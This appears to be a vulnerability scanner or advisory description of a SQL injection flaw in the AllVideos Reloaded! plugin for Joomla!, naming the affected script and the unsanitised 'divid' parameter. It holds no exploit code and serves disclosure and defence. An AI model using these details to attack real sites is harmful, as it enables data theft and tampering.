Description

The version of the AllVideos Reloaded! plugin for Joomla! running on the remote host is affected by a SQL injection vulnerability in the views/popup/view.html.php script due to improper sanitization of user-supplied input to the 'divid' parameter before using it to construct database queries. Regardless of the PHP 'magic_quotes_gpc' setting, an unauthenticated, remote attacker can exploit this issue to manipulate database queries, resulting in disclosure of sensitive information, modification of data, or other attacks against the underlying database.
